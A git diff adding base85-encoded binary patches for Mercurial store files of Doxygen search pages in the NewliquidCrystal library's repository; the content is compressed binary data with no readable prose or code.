HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__66.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__66.html.i new file mode 100644 index 0000000000000000000000000000000000000000..238e0228dd767260d895f18dacb01db34c15ebf4 GIT binary patch literal 634 zcmV-=0)_nm0RRC20000000KGy00o=?00000003A2|NsC0|NsA-bAq!Yc<0@29zmb^ z^SCa{yHaKV00000000000001ZoRw5fZ{jczz4I$vpFrB!WqYZXB!^O}MWPfzs@*+B zZZailgPpa9kNo@ENlIa*ZsC;4(n6XXb0tN=`DjWB%@E5UoNu>Vw!LCXFL^ZQJEzrmg^jiR+hwmsml~Yrsql4q686K2YW1Xw_wg{s>(1glR`IoM zjk%fIVG6ypGpBJWw3VRYodt~_m__(pxb|Di&T%d~(YO9NzV*-Zt$&7Z{ZoC*zHlx3 z+OxwGx~S`^&*(nO|NsC0|Ns9Rev$57c|$8b$?8=p zNycH~NJTjS00000000000001ZoRw5fQ`;~Qz2{d5osyYaB5+}f?E@j5W+nuNm}z_R z2zwg~9Lbe7AO821Y!i~sK$DZ#>-U~_-%1;v-QJIqUk_ta;IbqSPdC%ah|qxZAD1J} zZ&Lo`xa4zEw=x-&I(~H zVDyxH3$7@4BBfNX#6THQi**UM06~$eVt8;j_+bl9j^Rh|V7$!~%TFxm**O`^-e;uzgGIaB~#6ay5C( zREu1y1&zCaF&1)%{+IIzc2y$nbW?eeNu6FmR#i@(9Ad``P3_Yp6b)g5uso+kt5>LV zy-^W0fGeX&+g+<|*-Whauy&4rIUjWB%7E8A7QU*E!oE9EFQ0Y!HXX*eYb?!Dndkvbl>HJ W;9z5PhWm}tED*mIdw&7F+v43aayA|S literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/files__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a7297877fbeaee0bf204d0fc7f54593f05e32bab GIT binary patch literal 1844 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..978e97786508b8805da01cf8684cc79b0786bfc1 GIT binary patch literal 3174 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 AWB>pF literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__63.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__63.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b0b616df044f510cad5038084032fe5ec4c3741d GIT binary patch literal 1125 zcmV-r1e*H*0RRC20000000QLz00{m700000000>O|NsC0|Ns9etlqRjvUQUo{35|K zh)tXO==^j500000000000001ZoVAwUZ`v>r$KUxYTA~YM$MW9Qj&wB2d|G~xu>#SAEQczkTi@-zEarahEia_mY9pscM`GUMMs2NhzHO zSeqDS=@S$z+oyfZL2P-7s=TVGxjrMiHtZzp&*o*V-f&Pc&y{aCXK7y<6zd>MUh1Oj zM!B<0mUPKT4N?-w zHzYkekY=){2Gik4)=};#b~Wg8cxUT1N!gjittP~+X2h)q#I1(J9gCPW=-3^v$6SXp z>e0Y8P1CjAuxEMZTf{3cAHtji5uiT!GqKxEu-nbB+YPYW4Y7L`l`S254()n22`FQs z8&HSAmCJ1AyxHg_n_=`p-M-~{b}n_N33aC#b*BM!ry+IA>$p}Y>~>g4u1w;YVD`Wa z!DLR?>e_EMd&%X$5I>#)^D?7y3LKX2&4FXTS$0bVjX=((S%&KMi`PGA+rYojv=+oVWnx%lR-*S z5Ww+~RtrAGvU*UEba#`+1e#tv^`g)|K$z@KjF>NWHeC?@`oOSIh?M?UAX55k=Y|9*>)zyaFPhC~$~4q* zs<6<;lu4mOLyN>H6C!6G?KAm|=RMlP2fosl(9=VOb~(q@CBVfKz-)6MnfxJ9V@T9E r5;cNEjUO|NsC0|NsAJVVc3Z5V&p*(9f{C z5Gaof^@!B~00000000000001ZoV8U=bJ{Qvz4I#+^+IOqPw+FW4p3|_}^Eu9Ri(_fkRJTuijf}-_xwTtNuf8_UmzgBEC-0qhstK<*bxxk>z}P1s6Y3OvsV6Pw_m z(Ptv`@ibCNQRE~&*qLVHiUmWnH+&GriZv-?qx|^>>{!ge`OugoaHVYKJsD?ZC4X=zm#I2hqG#0wNy>3eRyhK z9rDK6J>fJ0F+;~0YT|d+r!zS4t`wyeW^}U_ovEVDK>{+oD~DlwKRmD1YV@m3<33Ka z6!7h7;>U?jQMZI0TZnv=!VXOjb8UPC!PmE~W7}(VTjUkx=>2E}m+wdQoXAJA^#{}N FkKp}Eb_oCg literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__65.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__65.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a85cf812b50864b924a911eae104f0e03980977d GIT binary patch literal 670 zcmV;P0%83C0RRC20000000LeB00hhc00000000>O|NsC0|Ns9`EW$=TFI9WHMwaKu zATt4}T=$d!00000000000001ZoQ+gXQ`;~Qz2{d5^%7=k$q)*(*gg=_Au}Omh#A_G zN0FA;;K;6|#PPqcWIG}0ln$qCR`2cC+jVes^J5tQx*ws`EOT`Kcs&^p5%ws38Vo7D ziEq%)+xTvRPKb|U#iY(mR!EjpI+|jHQ)9|+lvY(mssSm~g2oSY<6@mSa%XyGk4c0P zIO+xNB??ktA_`1qa)<)j{`P_;7=~PI4}Pz*b%=+BG$4%^*Ck-Y+kYW8urY0pE1oi? z!Gw?TckdEY8zj%?h%|Lh-k=u&};`BC_){1EnS7WHyo?{Cse6>2rYR^9%UuUwrY!0M6!fF~1y~`KMNVrWSTba8fd5 zGva7Ft|vFHfU;&X+WPhi;f39~XwoDec6rCAL#w*Qxe0f&{7apEMQ2Uhjix*EJyrL4 z)8dX9o`T)9X@NR>%lhx8M!}Ki^+dr}OWQ56t&ehW=5;+5{oRTkljcB($aI;rI>fS& zfUn*szE$)dbDm2^o_3;4&A7AwjSEEJut>5zwuB;olyRzo!+^3}X2Yzs$ ElidVGO#lD@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__66.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__66.html.i new file mode 100644 index 0000000000000000000000000000000000000000..4dd8abb9331880dec40930e7d448d18c638750c9 GIT binary patch literal 2386 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 E_Iw?X&j0`b literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__68.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__68.html.i new file mode 100644 index 0000000000000000000000000000000000000000..bb598587baf720c8b417ae6f7d56b65d4900a4ce GIT binary patch literal 644 zcmV-~0(<=c0RRC20000000Kk+00f)>00000000>O|NsC0|NsB^7IXTSBa^8!tjLt` z-7d#k(>g%_00000000000001ZoQ+h$a@sHuz4H}{dLc8lM4)Ms#`YmVr_2zV3C^@V zF^aXpPK@MA3&ek4$#w{InodqEPw(w&_pKZrjlK_)UpHft;i@1vcURNNkkEkhAA=$1 zqhv&WeoL;Wcz%I)yg3S7yE}Q# zR12A_C5_vFF&1*i{#$bkc3mKC^DZ*I@}&O@ z6>@O)(7PC%^dC;;#l?BQe|iRe2g2ub=dmzLw+eJo3gar!*iR+oq8@-Ph1#o^YPV7G zbU1P@x)VRTcFg~p_P#^&x}VykUHFzu`?{IF7MNz>HfN?u8^5UjyLoYV6a*cq)Ah== z#axf$0(^K?O=NesGRLf5cqVgO7NUx%(hBJ1+rrlyy(QfUbLbz5h=MJd?_*thK%vK% eokPzXcGuxSaPVr{f%{ieKO+BW===fn+KaD?&N$xy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__69.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__69.html.i new file mode 100644 index 0000000000000000000000000000000000000000..2b9253f87dd9710ae7ac4f406652949a071b6caf GIT binary patch literal 647 zcmV;20(kuZ0RRC20000000Kt<00g4|00000000>O|NsC0|NsB>3D__&aExKP`cf2$#y`LUefe|zIv^mC%0i>5152o zj+0L0D@l|C<4I(NEg*?#^V^A5U>Wk-0sLNzO^ioMT97tKs}eBEntw62@M@bguCknI z12%q4zXq3>I*~%i7o?$xv9VPFCI_$>S*OqvGh;ByHT-f2U^>f*&v>fIv?%Q%_L*&1 zlf}sBY|nT$*xkFSI3lh4=|oS8S12o(F)^M$+_NS4mbusd> zu|Xf6hL?kWI6Py-b~#xo8{mZXr@pb?^yp`z$7{ef(}>N zdgVGJuFY`)KD@3byu06=Q&R6e;lh*!t70sb1bp>A@$E+MQ8!E+(Tx^my8V`^QtiCI5x!`~ms?jED<8HlY9j literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..84a5aa2a9eeda8a31a79326bb743b87b500c8aa9 GIT binary patch literal 4093 zcmYjTXEYpK*BxD=3(?yUy-So4Mz1jlqW3N`dW@DRBYKNA7&UtGU_=)L5xqQmCt8fr z3DIBj8_d09e3%~+k0sa6_2LPZK`M(@Md-E6GnKsYY?QlZP1;U6x zcGopfHWh}yJ%0iWIhbMYmZe7ZZtsYXJK$fX@{qIOkny@2pXyn)SK`&?JG<2M8=b|E zmcu>FZZ4Qy8Ev_s0Q-6aK~LHtx_}%puSMI8TaD}F_+dH)%!t%FTEjMu%;xko}K6gh7g_pIRp2U;ZNMNKes&tkN{Q1fv!d$D; zpa<*k{VuJ(ePL`=Z~R@y;D4OOU7mI>ohr*B*0<{IK+4xy{i*ezmIT}H1xB2GpEgJy zyy$pB8dRZ|TG?;?L0ckTLStUKIH}08E7S3#x7CJ%z|r`0g^RSK^}=X`*Fm0oo0lN( zp0Z${R92G^O#@yP}R0q0+Pk@3^AbXAFBjY2L&ku{Hko#I={j~>TF z*uWG|@!7LITrsl|v$vrtl1*E4-k+~+aQP1{DcCHQ~>J_2$@Y+NTd%veyAKwkg zGi>BBd5wfhIrTCEEpbOXzpci)ztTZlQ8>>k`KKf~BGTQ9XByx~xm5{1*30~sG|`+S z=uYutYw7bUydYTSb?bl`vx@fT8GeeNZVBnvCkpKI#Ibca($fTzDo2t(Ktc?_h-V6u zpU7Q{rv>snWF#qm$*5^7#@7ub$2A$hF~TZ)%}**B+c2E}lT{AuNcS5Mq9Yf0|LIad zg~qsug$1)&j?k+9S-$AuN;c}Vvc?Cc?aD^I&+>!so-jx`6!i+|h zZt%dF^fouaxtbc>RPYAQimRoJk#?~P!Vpe_Ps3xWhCHR$Ljn< z5G4ta%;`~tJQWNG2#I-PCNf`?|Ne4_Np7=`w)$O=+-F9^@hr~M=@xmGU<(x4G&XFM z1TNt|Ud=9N4#FNUW0%{J#vX5FC+rlSHr8Gvmw_wcE3Aql-3W;^Fh4HB_es>+} zQ_6tI)<;$|M!;V?ETx8X1%yjuTt7gn<7WHCU4-T$T+QVQ_iTYcH0~%xN-wt+E|8Yo zQ1rmW^^|%Iv@o}t$sHS`cRBY`aI3Jfv}L2~i2JBlg}f zgDA%0bmX{w>BzAT>3%3|LM9H(RXb?3`|JV(bvReMy`HZjd7G9Nl!xBO2FXCvas+f6 zVw9F4lp%APxVsz_0lSPq1sEKg8Gu%gcIHSTk^$%_Vfh=gS%h6&gQD~fzC2$R)CiI0 z!Gl&(H6%aZ9%F5c1u9fM$dglG`5lZW36wqH{>AeX3?#YG%qS|4V;pD6(iWcdZS0GS@dnWRTA0G>yw0-Ni*@}9Ce<*%LU7Jw^fO| zvGFt0#K0>E95RbK0^fq%Z{i@~vLl!7S+qFp)O@zjS)?V%%m!jk9V1L%VuC8V16sli z>8SS)4Zd#-s+_fMY+I@*Zkykk>YWn<09f|{0EWH0>=r_IbZ5z4qg|%rX-Dio%9RQh>H~ zAZv+}m0kw1ZS5es6X51xL5^%A&_o8=l`}^^UN(ayM1;L=IY=3I*@c%`UYMveW)rX* zq1`o9%Ha;!b{U6U*xK1A4JDtgtxl;t+H5$jILR>Rl4wohv*<7ct#8GXA( zoKt7F{`UL{w@QwnpdG^G!PdU^c3V!3L}~_vQ%h&8NFF+t8i#%>vDeZLQ_ z7E5`-v>;*OrIH&+_w;c(>L<(h98%<7NImGm9#*r`{vxx-_*MNNt~G6sXM$Wg&j=ak z?@b(t*wcKH%HGRjru@@{qjnj))DX>D{yx-4e|DInks~nr;Z)S)ov9I*GN)s#*pyMt z=**D}8nqP-d6Od35r*1t-Yt5jaSfk*zRZ35rLhkgKz2)eS_qr8D4n$6+r^fS}LIy9*MC-!bm(i_dF$m)#=uc4OaZldMv}s*Yl?LM4O8 zf=c8ve-sqB|LOQkFysV6^Ci0~c`$*e`ZHGY_ss~#NqlQx-(O?X@4D8is^H3`Ym(@a ze_;GPVzvx7!D~pC#J8E6vy~IEOqCO_x|{jf^x3u4OIyoxDh;SCCzKC<AL3P znY9+6XT?Wch1G?OgO1(T9fQM;&GxI!V-DgjEzs?MztxxcOhK;;hfflUYfVob-%Q5! zB3$P=1n8IQdW}nBQm9NZ{dMvQ!t; zufj+}0Id8{2K!(d|SI@F$g%X&yx*BMbEr?qXCpMEYenJoXr=0@Kw8;{he8*;B;|BHJdmF!; zL@Fg-*Bvj;2DK)((^UUf09p2|VUqCp!j>7m^6>TG*b4Nf_7o^Mm|$t+^0Td$n9&&j zas&44)w1-n_$j5?Mn`4hh6n=sk_pT zNu^8qAr1t#$o7i#THa<%3dd^$11(#{MOOW!G!!wP+cR?Fkg*|~fqMs$u+vhwzFW^V zQ*63Wi>k4yVaw}^MlufTH>}gFB~&P z0mQ>`w{YUchEcu}67)98q%oh$X^p$80tcRo%U*Lwhwe6@XR2MMY6U72S)M`rd`tx% z&f*XCf4ppqS-E&y@HS9nGjU>e6@R)s$m8^w?1|Feygip065$s#cfSoSwlM3^v{@H1 z10E(Ld)aoq6_R`9vMRV6cJIMK~gXJeZpBH!}KfNK-<$R~8R zJY?(gL>ovPodr`q>=R}G(i!{+g*cMb4b4(@+^jD3jo3V_J=I(DE=ga2VpiAX=bm`2 z-gu#Hq)Y~?YY;^*Mfyiq}#%-uVWR;~it`0Ra5OciAnn zZ#T}J;b_`W8893LBG!O0Hj_pR%?2xpx6j{yacej!TF_ZJs$g@2Eno?vDJB^HRm?U3 zpK4mkSiihHTEA~J)6!j}PMTS6J}(`u+f+VoAoMT8I5{Qjz0@7Gq^2s^@Ef>X1 zBZ=U2-BF9d(N{cUklxFTe@63PrkEqBsG{jaT7uO7z3NF5sMRmq!QCnihmLn(q0>LIwR@iAsBn{i|4#*0<1yT0h=-S1QSX z=B`pk-++eZEQ=bZRBJjxHJ$!7o%A)GV>NA6kNDtGUec1g*GMhSD3@%olpD-v@eMKI z(jmX@r3Z47tlRI1A=s8RX`ff55&1pp%Un?R$H)z(sWw6xsGl&tK{4f$c2Q^pizge- z1PvCKh5|7Ur7&?3kYkPdwnU7duvh!g!^PPy#4gR}t2yWU8CjlBy$vpV@6Op^(}1V0 zxXhCTWVu8+?u8=CU+nnL-#_P+N@WX=2IgKoZvp%c8p=RCIaC)e|j{nP!IZvO{^n)f?|sltCq z`jCXOL8xj>81h4XR@BG|cCb61G}d+<|IjM;K9zOHiXZNNOUoccyQ=yfpMA*pt7dZK zhi;Agi{ld8T1THA$ZtxQH!8B47jA+u=I-yhsaT9I8j)Atnw#@CUtZo+&vuk#78zTb z)APaP5nMpRv?b-4!^Kn;=dEmlk13wfp&f>=u|a(vK1m+T3}uQfsrgY;oUsLJPzlgf hXh0s{xl-xF%^>cR61ScG7<)AI-o+21kbGOC{{Y5wp56ce literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6d.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6d.html.i new file mode 100644 index 0000000000000000000000000000000000000000..796891620233270d5f49facb9610c039bdb89f12 GIT binary patch literal 715 zcmV;+0yO;q0RRC20000000N5u00uMw00000004IX|NsC0|NsAtCuWzj!R*tJrb=F? zkTIuSkauhV00000000000001ZoUK$%Z{jczz4I$v?}bVmoA6P}Hp!vDsz{WrfNFP7 z$k+o(8l83}*ELCwCW%?NV z#CELAVx%NLFrE}P?=DXakrw^byk#nK#ABwEk7v^dwg%g>h;}FvHZw{Dyu79kxS3{p zYu;orvDz2q7Ld=zlp=P}^AJs_tTw?tpKlN@WZyZEirP@L{55ZqvwP1!tsT z)4(WAo*@_MKJl>xy_E?n8!XE!GGV(q?2PDN8 zak7XPd?ARn{0n2E$(Fp=6E5Sd({8k`yRA;QCwijW1 